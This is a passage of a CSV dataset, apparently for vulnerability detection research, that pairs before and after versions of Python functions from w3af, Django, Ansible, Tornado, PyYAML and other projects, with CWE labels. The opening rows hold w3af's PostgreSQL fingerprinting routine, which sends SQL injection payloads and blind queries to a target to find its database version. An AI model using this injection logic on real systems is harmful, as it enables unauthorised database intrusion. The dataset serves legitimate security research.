                kb.dbmsVersion = ["">= 8.0.0"", ""< 8.1.0""]
            elif inject.getValue(""SELECT SUBSTR(MD5('sqlmap'), 1, 1)"", unpack=False):
                kb.dbmsVersion = ["">= 7.4.0"", ""< 8.0.0""]
            elif inject.getValue(""SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1)"", unpack=False) == ""p"":
                kb.dbmsVersion = ["">= 7.3.0"", ""< 7.4.0""]
            elif inject.getValue(""SELECT BIT_LENGTH(1)"") == ""8"":
                kb.dbmsVersion = ["">= 7.2.0"", ""< 7.3.0""]
            elif inject.getValue(""SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1)"", unpack=False) == ""a"":
                kb.dbmsVersion = ["">= 7.1.0"", ""< 7.2.0""]
            elif inject.getValue(""SELECT POW(2, 3)"", unpack=False, charsetType=2) == ""8"":
                kb.dbmsVersion = ["">= 7.0.0"", ""< 7.1.0""]
            elif inject.getValue(""SELECT MAX('a')"") == ""a"":
                kb.dbmsVersion = ["">= 6.5.0"", ""< 6.5.3""]
            elif re.search(""([\d\.]+)"", inject.getValue(""SELECT SUBSTR(VERSION(), 12, 5)"", unpack=False)):
                kb.dbmsVersion = ["">= 6.4.0"", ""< 6.5.0""]
            elif inject.getValue(""SELECT SUBSTR(CURRENT_DATE, 1, 1)"", unpack=False, charsetType=2) == ""2"":
                kb.dbmsVersion = ["">= 6.3.0"", ""< 6.4.0""]
            elif inject.getValue(""SELECT SUBSTRING('sqlmap', 1, 1)"", unpack=False) == ""s"":
                kb.dbmsVersion = ["">= 6.2.0"", ""< 6.3.0""]
            else:
                kb.dbmsVersion = [""< 6.2.0""]

            return True
        else:
            warnMsg = ""the back-end DMBS is not PostgreSQL""
            logger.warn(warnMsg)

            return False",,andresriancho/w3af,1416cd0d8667cbe28450e8a00841093c343442e2,"def checkDbms(self):
        """"""
        References for fingerprint:

        * http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
        """"""

        if conf.dbms in PGSQL_ALIASES:
            setDbms(""PostgreSQL"")

            self.getBanner()

            if not conf.extensiveFp:
                return True

        infoMsg = ""testing PostgreSQL""
        logger.info(infoMsg)

        randInt = str(randomInt(1))

        payload = agent.fullPayload("" AND %s::int=%s"" % (randInt, randInt))
        result  = Request.queryPage(payload)

        if result:
            infoMsg = ""confirming PostgreSQL""
            logger.info(infoMsg)

            payload = agent.fullPayload("" AND COALESCE(%s, NULL)=%s"" % (randInt, randInt))
            result  = Request.queryPage(payload)

            if not result:
                warnMsg = ""the back-end DMBS is not PostgreSQL""
                logger.warn(warnMsg)

                return False

            setDbms(""PostgreSQL"")

            self.getBanner()

            if not conf.extensiveFp:
                return True

            if inject.getValue(""DIV(6, 3)"", unpack=False, charsetType=2) == ""2"":
                kb.dbmsVersion = ["">= 8.4.0""]
            elif inject.getValue(""SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)"", unpack=False, charsetType=2) in ( ""1"", ""2"" ) and not inject.getValue(""SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)"", unpack=False, charsetType=2) in ( ""1"", ""2"" ):
                kb.dbmsVersion = ["">= 8.3.0"", ""< 8.4""]
            elif inject.getValue(""SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)"", unpack=False, charsetType=2):
                kb.dbmsVersion = ["">= 8.2.0"", ""< 8.3.0""]
            elif inject.getValue(""GREATEST(5, 9, 1)"", unpack=False, charsetType=2) == ""9"":
                kb.dbmsVersion = ["">= 8.1.0"", ""< 8.2.0""]
            elif inject.getValue(""WIDTH_BUCKET(5.35, 0.024, 10.06, 5)"", unpack=False, charsetType=2) == ""3"":
                kb.dbmsVersion = ["">= 8.0.0"", ""< 8.1.0""]
            elif inject.getValue(""SUBSTR(MD5('sqlmap'), 1, 1)"", unpack=False):
                kb.dbmsVersion = ["">= 7.4.0"", ""< 8.0.0""]
            elif inject.getValue(""SUBSTR(CURRENT_SCHEMA(), 1, 1)"", unpack=False) == ""p"":
                kb.dbmsVersion = ["">= 7.3.0"", ""< 7.4.0""]
            elif inject.getValue(""BIT_LENGTH(1)"") == ""8"":
                kb.dbmsVersion = ["">= 7.2.0"", ""< 7.3.0""]
            elif inject.getValue(""SUBSTR(QUOTE_LITERAL('a'), 2, 1)"", unpack=False) == ""a"":
                kb.dbmsVersion = ["">= 7.1.0"", ""< 7.2.0""]
            elif inject.getValue(""POW(2, 3)"", unpack=False, charsetType=2) == ""8"":
                kb.dbmsVersion = ["">= 7.0.0"", ""< 7.1.0""]
            elif inject.getValue(""MAX('a')"") == ""a"":
                kb.dbmsVersion = ["">= 6.5.0"", ""< 6.5.3""]
            elif re.search(""([\d\.]+)"", inject.getValue(""SUBSTR(VERSION(), 12, 5)"", unpack=False)):
                kb.dbmsVersion = ["">= 6.4.0"", ""< 6.5.0""]
            elif inject.getValue(""SUBSTR(CURRENT_DATE, 1, 1)"", unpack=False, charsetType=2) == ""2"":
                kb.dbmsVersion = ["">= 6.3.0"", ""< 6.4.0""]
            elif inject.getValue(""SUBSTRING('sqlmap', 1, 1)"", unpack=False) == ""s"":
                kb.dbmsVersion = ["">= 6.2.0"", ""< 6.3.0""]
            else:
                kb.dbmsVersion = [""< 6.2.0""]

            return True
        else:
            warnMsg = ""the back-end DMBS is not PostgreSQL""
            logger.warn(warnMsg)

            return False"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/models/base.py,0,"def _get_pk_val(self, meta=None):
        meta = meta or self._meta
        return getattr(self, meta.pk.attname)",CWE-Unknown,django/django,63e6ee1f996e16a1a6238fed16fdb28bce156bc6,"def _get_pk_val(self, meta=None):
        meta = meta or self._meta
        return getattr(self, meta.pk.attname)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/gen.py,0,"def run(self):
        """"""Starts or resumes the generator, running until it reaches a
        yield point that is not ready.
        """"""
        if self.running or self.finished:
            return
        try:
            self.running = True
            while True:
                if self.exc_info is None:
                    try:
                        if not self.yield_point.is_ready():
                            return
                        next = self.yield_point.get_result()
                        self.yield_point = None
                    except Exception:
                        self.exc_info = sys.exc_info()
                try:
                    if self.exc_info is not None:
                        self.had_exception = True
                        exc_info = self.exc_info
                        self.exc_info = None
                        yielded = self.gen.throw(*exc_info)
                    else:
                        yielded = self.gen.send(next)
                except (StopIteration, Return) as e:
                    self.finished = True
                    self.yield_point = _null_yield_point
                    if self.pending_callbacks and not self.had_exception:
                        # If we ran cleanly without waiting on all callbacks
                        # raise an error (really more of a warning).  If we
                        # had an exception then some callbacks may have been
                        # orphaned, so skip the check in that case.
                        raise LeakedCallbackError(
                            ""finished without waiting for callbacks %r"" %
                            self.pending_callbacks)
                    self.final_callback(getattr(e, 'value', None))
                    self.final_callback = None
                    return
                except Exception:
                    self.finished = True
                    self.yield_point = _null_yield_point
                    raise
                if isinstance(yielded, list):
                    yielded = Multi(yielded)
                elif isinstance(yielded, Future):
                    yielded = YieldFuture(yielded)
                if isinstance(yielded, YieldPoint):
                    self.yield_point = yielded
                    try:
                        self.yield_point.start(self)
                    except Exception:
                        self.exc_info = sys.exc_info()
                else:
                    self.exc_info = (BadYieldError(
                        ""yielded unknown object %r"" % (yielded,)),)
        finally:
            self.running = False",CWE-Unknown,tornadoweb/tornado,210312c4aed28c91febbfd73f9c4d2cbba8c6d59,"def run(self):
        """"""Starts or resumes the generator, running until it reaches a
        yield point that is not ready.
        """"""
        if self.running or self.finished:
            return
        try:
            self.running = True
            while True:
                if self.exc_info is None:
                    try:
                        if not self.yield_point.is_ready():
                            return
                        next = self.yield_point.get_result()
                        self.yield_point = None
                    except Exception:
                        self.exc_info = sys.exc_info()
                try:
                    if self.exc_info is not None:
                        self.had_exception = True
                        exc_info = self.exc_info
                        self.exc_info = None
                        yielded = self.gen.throw(*exc_info)
                    else:
                        yielded = self.gen.send(next)
                except (StopIteration, Return) as e:
                    self.finished = True
                    self.yield_point = _null_yield_point
                    if self.pending_callbacks and not self.had_exception:
                        # If we ran cleanly without waiting on all callbacks
                        # raise an error (really more of a warning).  If we
                        # had an exception then some callbacks may have been
                        # orphaned, so skip the check in that case.
                        raise LeakedCallbackError(
                            ""finished without waiting for callbacks %r"" %
                            self.pending_callbacks)
                    self.final_callback(getattr(e, 'value', None))
                    self.final_callback = None
                    return
                except Exception:
                    self.finished = True
                    self.yield_point = _null_yield_point
                    raise
                if isinstance(yielded, list):
                    yielded = Multi(yielded)
                elif isinstance(yielded, Future):
                    yielded = YieldFuture(yielded)
                if isinstance(yielded, YieldPoint):
                    self.yield_point = yielded
                    try:
                        self.yield_point.start(self)
                    except Exception:
                        self.exc_info = sys.exc_info()
                else:
                    self.exc_info = (BadYieldError(
                            ""yielded unknown object %r"" % (yielded,)),)
        finally:
            self.running = False"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/executor/task_executor.py,0,"def _run_loop(self, items):
        '''
        Runs the task with the loop items specified and collates the result
        into an array named 'results' which is inserted into the final result
        along with the item for which the loop ran.
        '''

        results = []

        # make copies of the job vars and task so we can add the item to
        # the variables and re-validate the task with the item variable
        # task_vars = self._job_vars.copy()
        task_vars = self._job_vars

        loop_var = 'item'
        index_var = None
        label = None
        loop_pause = 0
        extended = False
        templar = Templar(loader=self._loader, shared_loader_obj=self._shared_loader_obj, variables=self._job_vars)

        # FIXME: move this to the object itself to allow post_validate to take care of templating (loop_control.post_validate)
        if self._task.loop_control:
            loop_var = templar.template(self._task.loop_control.loop_var)
            index_var = templar.template(self._task.loop_control.index_var)
            loop_pause = templar.template(self._task.loop_control.pause)
            extended = templar.template(self._task.loop_control.extended)

            # This may be 'None',so it is tempalted below after we ensure a value and an item is assigned
            label = self._task.loop_control.label

        # ensure we always have a label
        if label is None:
            label = '{{' + loop_var + '}}'

        if loop_var in task_vars:
            display.warning(u""The loop variable '%s' is already in use. ""
                            u""You should set the `loop_var` value in the `loop_control` option for the task""
                            u"" to something else to avoid variable collisions and unexpected behavior."" % loop_var)

        ran_once = False
        if self._task.loop_with:
            # Only squash with 'with_:' not with the 'loop:', 'magic' squashing can be removed once with_ loops are
            items = self._squash_items(items, loop_var, task_vars)

        no_log = False
        items_len = len(items)
        for item_index, item in enumerate(items):
            task_vars['ansible_loop_var'] = loop_var

            task_vars[loop_var] = item
            if index_var:
                task_vars[index_var] = item_index

            if extended:
                task_vars['ansible_loop'] = {
                    'allitems': items,
                    'index': item_index + 1,
                    'index0': item_index,
                    'first': item_index == 0,
                    'last': item_index + 1 == items_len,
                    'length': items_len,
                    'revindex': items_len - item_index,
                    'revindex0': items_len - item_index - 1,
                }
                try:
                    task_vars['ansible_loop']['nextitem'] = items[item_index + 1]
                except IndexError:
                    pass
                if item_index - 1 >= 0:
                    task_vars['ansible_loop']['previtem'] = items[item_index - 1]

            # Update template vars to reflect current loop iteration
            templar.set_available_variables(task_vars)

            # pause between loop iterations
            if loop_pause and ran_once:
                try:
                    time.sleep(float(loop_pause))
                except ValueError as e:
                    raise AnsibleError('Invalid pause value: %s, produced error: %s' % (loop_pause, to_native(e)))
            else:
                ran_once = True

            try:
                tmp_task = self._task.copy(exclude_parent=True, exclude_tasks=True)
                tmp_task._parent = self._task._parent
                tmp_play_context = self._play_context.copy()
            except AnsibleParserError as e:
                results.append(dict(failed=True, msg=to_text(e)))
                continue

            # now we swap the internal task and play context with their copies,
            # execute, and swap them back so we can do the next iteration cleanly
            (self._task, tmp_task) = (tmp_task, self._task)
            (self._play_context, tmp_play_context) = (tmp_play_context, self._play_context)
            res = self._execute(variables=task_vars)
            task_fields = self._task.dump_attrs()
            (self._task, tmp_task) = (tmp_task, self._task)
            (self._play_context, tmp_play_context) = (tmp_play_context, self._play_context)

            # update 'general no_log' based on specific no_log
            no_log = no_log or tmp_task.no_log

            # now update the result with the item info, and append the result
            # to the list of results
            res[loop_var] = item
            res['ansible_loop_var'] = loop_var
            if index_var:
                res[index_var] = item_index
                res['ansible_index_var'] = index_var
            if extended:
                res['ansible_loop'] = task_vars['ansible_loop']

            res['_ansible_item_result'] = True
            res['_ansible_ignore_errors'] = task_fields.get('ignore_errors')

            # gets templated here unlike rest of loop_control fields, depends on loop_var above
            try:
                res['_ansible_item_label'] = templar.template(label, cache=False)
            except AnsibleUndefinedVariable as e:
                res.update({
                    'failed': True,
                    'msg': 'Failed to template loop_control.label: %s' % to_text(e)
                })

            self._final_q.put(
                TaskResult(
                    self._host.name,
                    self._task._uuid,
                    res,
                    task_fields=task_fields,
                ),
                block=False,
            )
            results.append(res)
            del task_vars[loop_var]

            # clear 'connection related' plugin variables for next iteration
            if self._connection:
                clear_plugins = {
                    'connection': self._connection._load_name,
                    'shell': self._connection._shell._load_name
                }
                if self._connection.become:
                    clear_plugins['become'] = self._connection.become._load_name

                for plugin_type, plugin_name in iteritems(clear_plugins):
                    for var in C.config.get_plugin_vars(plugin_type, plugin_name):
                        if var in task_vars and var not in self._job_vars:
                            del task_vars[var]

        self._task.no_log = no_log

        return results",,ansible/ansible,ed027203c63c1cae23d9d154e73796957ed5944c,"def _run_loop(self, items):
        '''
        Runs the task with the loop items specified and collates the result
        into an array named 'results' which is inserted into the final result
        along with the item for which the loop ran.
        '''

        results = []

        # make copies of the job vars and task so we can add the item to
        # the variables and re-validate the task with the item variable
        # task_vars = self._job_vars.copy()
        task_vars = self._job_vars

        loop_var = 'item'
        index_var = None
        label = None
        loop_pause = 0
        extended = False
        templar = Templar(loader=self._loader, shared_loader_obj=self._shared_loader_obj, variables=self._job_vars)

        # FIXME: move this to the object itself to allow post_validate to take care of templating (loop_control.post_validate)
        if self._task.loop_control:
            loop_var = templar.template(self._task.loop_control.loop_var)
            index_var = templar.template(self._task.loop_control.index_var)
            loop_pause = templar.template(self._task.loop_control.pause)
            extended = templar.template(self._task.loop_control.extended)

            # This may be 'None',so it is tempalted below after we ensure a value and an item is assigned
            label = self._task.loop_control.label

        # ensure we always have a label
        if label is None:
            label = '{{' + loop_var + '}}'

        if loop_var in task_vars:
            display.warning(u""The loop variable '%s' is already in use. ""
                            u""You should set the `loop_var` value in the `loop_control` option for the task""
                            u"" to something else to avoid variable collisions and unexpected behavior."" % loop_var)

        ran_once = False
        if self._task.loop_with:
            # Only squash with 'with_:' not with the 'loop:', 'magic' squashing can be removed once with_ loops are
            items = self._squash_items(items, loop_var, task_vars)

        no_log = False
        items_len = len(items)
        for item_index, item in enumerate(items):
            task_vars['ansible_loop_var'] = loop_var

            task_vars[loop_var] = item
            if index_var:
                task_vars[index_var] = item_index

            if extended:
                task_vars['ansible_loop'] = {
                    'allitems': items,
                    'index': item_index + 1,
                    'index0': item_index,
                    'first': item_index == 0,
                    'last': item_index + 1 == items_len,
                    'length': items_len,
                    'revindex': items_len - item_index,
                    'revindex0': items_len - item_index - 1,
                }
                try:
                    task_vars['ansible_loop']['nextitem'] = items[item_index + 1]
                except IndexError:
                    pass
                if item_index - 1 >= 0:
                    task_vars['ansible_loop']['previtem'] = items[item_index - 1]

            # Update template vars to reflect current loop iteration
            templar.set_available_variables(task_vars)

            # pause between loop iterations
            if loop_pause and ran_once:
                try:
                    time.sleep(float(loop_pause))
                except ValueError as e:
                    raise AnsibleError('Invalid pause value: %s, produced error: %s' % (loop_pause, to_native(e)))
            else:
                ran_once = True

            try:
                tmp_task = self._task.copy(exclude_parent=True, exclude_tasks=True)
                tmp_task._parent = self._task._parent
                tmp_play_context = self._play_context.copy()
            except AnsibleParserError as e:
                results.append(dict(failed=True, msg=to_text(e)))
                continue

            # now we swap the internal task and play context with their copies,
            # execute, and swap them back so we can do the next iteration cleanly
            (self._task, tmp_task) = (tmp_task, self._task)
            (self._play_context, tmp_play_context) = (tmp_play_context, self._play_context)
            res = self._execute(variables=task_vars)
            task_fields = self._task.dump_attrs()
            (self._task, tmp_task) = (tmp_task, self._task)
            (self._play_context, tmp_play_context) = (tmp_play_context, self._play_context)

            # update 'general no_log' based on specific no_log
            no_log = no_log or tmp_task.no_log

            # now update the result with the item info, and append the result
            # to the list of results
            res[loop_var] = item
            res['ansible_loop_var'] = loop_var
            if index_var:
                res[index_var] = item_index
                res['ansible_index_var'] = index_var
            if extended:
                res['ansible_loop'] = task_vars['ansible_loop']

            res['_ansible_item_result'] = True
            res['_ansible_ignore_errors'] = task_fields.get('ignore_errors')

            # gets templated here unlike rest of loop_control fields, depends on loop_var above
            try:
                res['_ansible_item_label'] = templar.template(label, cache=False)
            except AnsibleUndefinedVariable as e:
                res.update({
                    'failed': True,
                    'msg': 'Failed to template loop_control.label: %s' % to_text(e)
                })

            self._final_q.put(
                TaskResult(
                    self._host.name,
                    self._task._uuid,
                    res,
                    task_fields=task_fields,
                ),
                block=False,
            )
            results.append(res)
            del task_vars[loop_var]

        self._task.no_log = no_log

        return results"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/google/gcp_spanner_database_info.py,0,"def main():
    module = GcpModule(argument_spec=dict(instance=dict(required=True, type='dict')))

    if module._name == 'gcp_spanner_database_facts':
        module.deprecate(""The 'gcp_spanner_database_facts' module has been renamed to 'gcp_spanner_database_info'"", version='2.13')

    if not module.params['scopes']:
        module.params['scopes'] = ['https://www.googleapis.com/auth/spanner.admin']

    return_value = {'resources': fetch_list(module, collection(module))}
    module.exit_json(**return_value)",,ansible/ansible,73623c0029328dfadaf094cb1e520853f36d6a38,"def main():
    module = GcpModule(argument_spec=dict(instance=dict(required=True, type='dict')))

    if module._name == 'gcp_spanner_database_facts':
        module.deprecate(""The 'gcp_spanner_database_facts' module has been renamed to 'gcp_spanner_database_info'"", version='2.13')

    if not module.params['scopes']:
        module.params['scopes'] = ['https://www.googleapis.com/auth/spanner.admin']

    items = fetch_list(module, collection(module))
    if items.get('databases'):
        items = items.get('databases')
    else:
        items = []
    return_value = {'resources': items}
    module.exit_json(**return_value)"
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,lib3/yaml/scanner.py,0,"def fetch_stream_end(self):

        # Set the current intendation to -1.
        self.unwind_indent(-1)

        # Reset simple keys.
        self.remove_possible_simple_key()
        self.allow_simple_key = False
        self.possible_simple_keys = {}

        # Read the token.
        mark = self.get_mark()
        
        # Add STREAM-END.
        self.tokens.append(StreamEndToken(mark, mark))

        # The steam is finished.
        self.done = True",,yaml/pyyaml,335c34455d8cdeffa73281b22a409fb73bfcbdf1,"def fetch_stream_end(self):

        # Set the current intendation to -1.
        self.unwind_indent(-1)

        # Reset everything (not really needed).
        self.allow_simple_key = False
        self.possible_simple_keys = {}

        # Read the token.
        mark = self.get_mark()
        
        # Add STREAM-END.
        self.tokens.append(StreamEndToken(mark, mark))

        # The steam is finished.
        self.done = True"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/tmpfs.py,0,"def process_directory(self, dentry, _recursive = 0, parent = """"):

        for dentry in dentry.d_subdirs.list_of_type(""dentry"", ""d_u""):

            name = dentry.d_name.name.dereference_as(""String"", length = 255)

            inode = dentry.d_inode

            if inode:

                new_file = os.path.join(parent, str(name))

                (perms, _size, atime, mtime) = (inode.i_mode, inode.i_size, inode.i_atime, inode.i_mtime)

                if linux_common.S_ISDIR(inode.i_mode):
                    # since the directory may already exist
                    try:
                        os.mkdir(new_file)
                    except OSError:
                        pass

                    self.fix_md(new_file, perms, atime, mtime, 1)

                    self.process_directory(dentry, 1, new_file)

                elif linux_common.S_ISREG(inode.i_mode):

                    contents = linux_find_file.linux_find_file(self._config).get_file_contents(inode)

                    f = open(new_file, ""wb"")
                    f.write(contents)
                    f.close()
                    self.fix_md(new_file, perms, atime, mtime)

                # FUTURE add support for symlinks
                else:
                    #print ""skipped: %s"" % name
                    pass
            else:
                #print ""no inode for %s"" % name
                pass",,volatilityfoundation/volatility,5978db698a418b939ce4da23d976e881ece3b7c5,"def process_directory(self, dentry, _recursive = 0, parent = """"):

        for dentry in dentry.d_subdirs.list_of_type(""dentry"", ""d_u""):

            name = dentry.d_name.name.dereference_as(""String"", length = 255)

            inode = dentry.d_inode

            if inode:

                new_file = os.path.join(parent, name)

                (perms, _size, atime, mtime) = (inode.i_mode, inode.i_size, inode.i_atime, inode.i_mtime)

                if linux_common.S_ISDIR(inode.i_mode):
                    # since the directory may already exist
                    try:
                        os.mkdir(new_file)
                    except OSError:
                        pass

                    self.fix_md(new_file, perms, atime, mtime, 1)

                    self.process_directory(dentry, 1, new_file)

                elif linux_common.S_ISREG(inode.i_mode):

                    contents = linux_find_file.linux_find_file(self._config).get_file_contents(inode)

                    f = open(new_file, ""wb"")
                    f.write(contents)
                    f.close()
                    self.fix_md(new_file, perms, atime, mtime)

                # FUTURE add support for symlinks
                else:
                    #print ""skipped: %s"" % name
                    pass
            else:
                #print ""no inode for %s"" % name
                pass"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/context.py,0,"def get_call_arg_at_position(self, position_num):
        """"""Returns positional argument at the specified position (if it exists)

        :param position_num: The index of the argument to return the value for
        :return: Value of the argument at the specified position if it exists
        """"""
        max_args = self.call_args_count
        if max_args and position_num < max_args:
            arg = self._context[""call""].args[position_num]
            return getattr(arg, ""attr"", None) or self._get_literal_value(arg)
        else:
            return None",UNKNOWN,PyCQA/bandit,1067978c59967165a496c63a3fd33393ddb28050,"def get_call_arg_at_position(self, position_num):
        """"""Returns positional argument at the specified position (if it exists)

        :param position_num: The index of the argument to return the value for
        :return: Value of the argument at the specified position if it exists
        """"""
        max_args = self.call_args_count
        if max_args and position_num < max_args:
            return self._get_literal_value(
                self._context[""call""].args[position_num]
            )
        else:
            return None"
,UNKNOWN,UNKNOWN,tests/unit/utils/parsers_test.py,1,"def test_pid_file_deletion_with_oserror(self):
        '''
        PIDfile deletion with exception
        '''
        with patch('os.unlink', MagicMock(side_effect=OSError())) as os_unlink:
            with patch('os.path.isfile', MagicMock(return_value=True)):
                with patch.object(self.mixin, 'info', MagicMock()):
                    self.mixin._mixin_before_exit()
                    assert os_unlink.call_count == 1
                    self.mixin.info.assert_called_with(
                        'PIDfile could not be deleted: {0}'.format(self.pid))",CWE-703,saltstack/salt,96f39a420b974f8658de182d3af72b2a7e9f8b9b,"def test_pid_file_deletion_with_oserror(self):
        '''
        PIDfile deletion with exception
        '''
        with patch('os.unlink', MagicMock(side_effect=OSError())) as os_unlink:
            with patch('os.path.isfile', MagicMock(return_value=True)):
                with patch.object(self.mixin, 'info', MagicMock()):
                    self.mixin._mixin_before_exit()
                    assert os_unlink.call_count == 1
                    self.mixin.info.assert_called_with(
                        'PIDfile could not be deleted: {}'.format(self.pid))"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/misc/response_cache_key.py,0,"def get_response_cache_key(http_response,
                           clean_response=None,
                           headers=None):
    """"""
    Note: query.body has been cleaned by get_clean_body()

    :param http_response: The HTTP response we want to get a cache key for

    :param clean_response: The FourOhFourResponse associated with the HTTPResponse
                           passed as parameter (optional, will be calculated if not
                           provided)

    :param headers: A string containing the HTTP response headers that have to be
                    used to calculate the hash

    :return: Hash of the HTTP response body
    """"""
    headers = '' or headers

    #
    # Only some HTTP responses benefit from the XML-bones signature
    #
    if _should_use_xml_bones(http_response):
        body = get_xml_bones(http_response.get_body())
        normalized_path = FourOhFourResponse.normalize_path(http_response.get_uri())
    else:
        #
        # Get a clean_response if it was not provided
        #
        if clean_response is None:
            clean_response = FourOhFourResponse(http_response)

        body = clean_response.body
        normalized_path = clean_response.normalized_path

    #
    # Calculate the hash using all the captured information
    #
    key = ''.join([str(http_response.get_code()),
                   smart_str_ignore(normalized_path),
                   str(headers),
                   smart_str_ignore(body)])

    return quick_hash(key)",,andresriancho/w3af,1b41da2d9c44b935217fe98fd85411842059acc3,"def get_response_cache_key(http_response,
                           clean_response=None,
                           headers=None):
    """"""
    Note: query.body has been cleaned by get_clean_body()

    :param http_response: The HTTP response we want to get a cache key for

    :param clean_response: The FourOhFourResponse associated with the HTTPResponse
                           passed as parameter (optional, will be calculated if not
                           provided)

    :param headers: A string containing the HTTP response headers that have to be
                    used to calculate the hash

    :return: Hash of the HTTP response body
    """"""
    headers = '' or headers

    #
    # Only some HTTP responses benefit from the XML-bones signature
    #
    if _should_use_xml_bones(http_response):
        body = get_xml_bones(http_response.get_body())
        normalized_path = FourOhFourResponse.normalize_path(http_response.get_uri())
    else:
        #
        # Get a clean_response if it was not provided
        #
        if clean_response is None:
            clean_response = FourOhFourResponse(http_response)

        body = clean_response.body
        normalized_path = clean_response.normalized_path

    #
    # Calculate the hash using all the captured information
    #
    key = ''.join([str(http_response.get_code()),
                   smart_str_ignore(normalized_path),
                   headers,
                   smart_str_ignore(body)])

    return quick_hash(key)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/lib/ansible_test/_internal/commands/sanity/validate_modules.py,0,"def test(self, args, targets, python):  # type: (SanityConfig, SanityTargets, PythonConfig) -> TestResult
        env = ansible_environment(args, color=False)

        settings = self.load_processor(args)

        target_per_type = collections.defaultdict(list)

        for target in targets.include:
            target_per_type[self.get_plugin_type(target)].append(target)

        cmd = [
            python.path,
            os.path.join(SANITY_ROOT, 'validate-modules', 'validate.py'),
            '--format', 'json',
            '--arg-spec',
        ]

        if data_context().content.collection:
            cmd.extend(['--collection', data_context().content.collection.directory])

            try:
                collection_detail = get_collection_detail(args, python)

                if collection_detail.version:
                    cmd.extend(['--collection-version', collection_detail.version])
                else:
                    display.warning('Skipping validate-modules collection version checks since no collection version was found.')
            except CollectionDetailError as ex:
                display.warning('Skipping validate-modules collection version checks since collection detail loading failed: %s' % ex.reason)
        else:
            base_branch = args.base_branch or get_ci_provider().get_base_branch()

            if base_branch:
                cmd.extend([
                    '--base-branch', base_branch,
                ])
            else:
                display.warning('Cannot perform module comparison against the base branch because the base branch was not detected.')

        errors = []

        for plugin_type, plugin_targets in sorted(target_per_type.items()):
            paths = [target.path for target in plugin_targets]
            plugin_cmd = list(cmd)

            if plugin_type != 'modules':
                plugin_cmd += ['--plugin-type', plugin_type]

            plugin_cmd += paths

            try:
                stdout, stderr = run_command(args, plugin_cmd, env=env, capture=True)
                status = 0
            except SubprocessError as ex:
                stdout = ex.stdout
                stderr = ex.stderr
                status = ex.status

            if stderr or status not in (0, 3):
                raise SubprocessError(cmd=plugin_cmd, status=status, stderr=stderr, stdout=stdout)

            if args.explain:
                continue

            messages = json.loads(stdout)

            for filename in messages:
                output = messages[filename]

                for item in output['errors']:
                    errors.append(SanityMessage(
                        path=filename,
                        line=int(item['line']) if 'line' in item else 0,
                        column=int(item['column']) if 'column' in item else 0,
                        code='%s' % item['code'],
                        message=item['msg'],
                    ))

        all_paths = [target.path for target in targets.include]
        all_errors = settings.process_errors(errors, all_paths)

        if args.explain:
            return SanitySuccess(self.name)

        if all_errors:
            return SanityFailure(self.name, messages=all_errors)

        return SanitySuccess(self.name)",,ansible/ansible,26fd5a8c3a92b1cc470efc81ef95e9aab7c5de03,"def test(self, args, targets, python):  # type: (SanityConfig, SanityTargets, PythonConfig) -> TestResult
        env = ansible_environment(args, color=False)

        settings = self.load_processor(args)

        target_per_type = collections.defaultdict(list)

        for target in targets.include:
            target_per_type[self.get_plugin_type(target)].append(target)

        cmd = [
            python.path,
            os.path.join(SANITY_ROOT, 'validate-modules', 'validate.py'),
            '--format', 'json',
            '--arg-spec',
        ]

        if data_context().content.collection:
            cmd.extend(['--collection', data_context().content.collection.directory])

            try:
                collection_detail = get_collection_detail(python)

                if collection_detail.version:
                    cmd.extend(['--collection-version', collection_detail.version])
                else:
                    display.warning('Skipping validate-modules collection version checks since no collection version was found.')
            except CollectionDetailError as ex:
                display.warning('Skipping validate-modules collection version checks since collection detail loading failed: %s' % ex.reason)
        else:
            base_branch = args.base_branch or get_ci_provider().get_base_branch()

            if base_branch:
                cmd.extend([
                    '--base-branch', base_branch,
                ])
            else:
                display.warning('Cannot perform module comparison against the base branch because the base branch was not detected.')

        errors = []

        for plugin_type, plugin_targets in sorted(target_per_type.items()):
            paths = [target.path for target in plugin_targets]
            plugin_cmd = list(cmd)

            if plugin_type != 'modules':
                plugin_cmd += ['--plugin-type', plugin_type]

            plugin_cmd += paths

            try:
                stdout, stderr = run_command(args, plugin_cmd, env=env, capture=True)
                status = 0
            except SubprocessError as ex:
                stdout = ex.stdout
                stderr = ex.stderr
                status = ex.status

            if stderr or status not in (0, 3):
                raise SubprocessError(cmd=plugin_cmd, status=status, stderr=stderr, stdout=stdout)

            if args.explain:
                continue

            messages = json.loads(stdout)

            for filename in messages:
                output = messages[filename]

                for item in output['errors']:
                    errors.append(SanityMessage(
                        path=filename,
                        line=int(item['line']) if 'line' in item else 0,
                        column=int(item['column']) if 'column' in item else 0,
                        code='%s' % item['code'],
                        message=item['msg'],
                    ))

        all_paths = [target.path for target in targets.include]
        all_errors = settings.process_errors(errors, all_paths)

        if args.explain:
            return SanitySuccess(self.name)

        if all_errors:
            return SanityFailure(self.name, messages=all_errors)

        return SanitySuccess(self.name)"
,UNKNOWN,UNKNOWN,django/contrib/admin/templatetags/admin_list.py,1,"def result_headers(cl):
    """"""
    Generates the list column headers.
    """"""
    ordering_field_columns = cl.get_ordering_field_columns()
    for i, field_name in enumerate(cl.list_display):
        text, attr = label_for_field(
            field_name, cl.model,
            model_admin=cl.model_admin,
            return_attr=True
        )
        if attr:
            field_name = _coerce_field_name(field_name, i)
            # Potentially not sortable

            # if the field is the action checkbox: no sorting and special class
            if field_name == 'action_checkbox':
                yield {
                    ""text"": text,
                    ""class_attrib"": mark_safe(' class=""action-checkbox-column""'),
                    ""sortable"": False,
                }
                continue

            admin_order_field = getattr(attr, ""admin_order_field"", None)
            if not admin_order_field:
                # Not sortable
                yield {
                    ""text"": text,
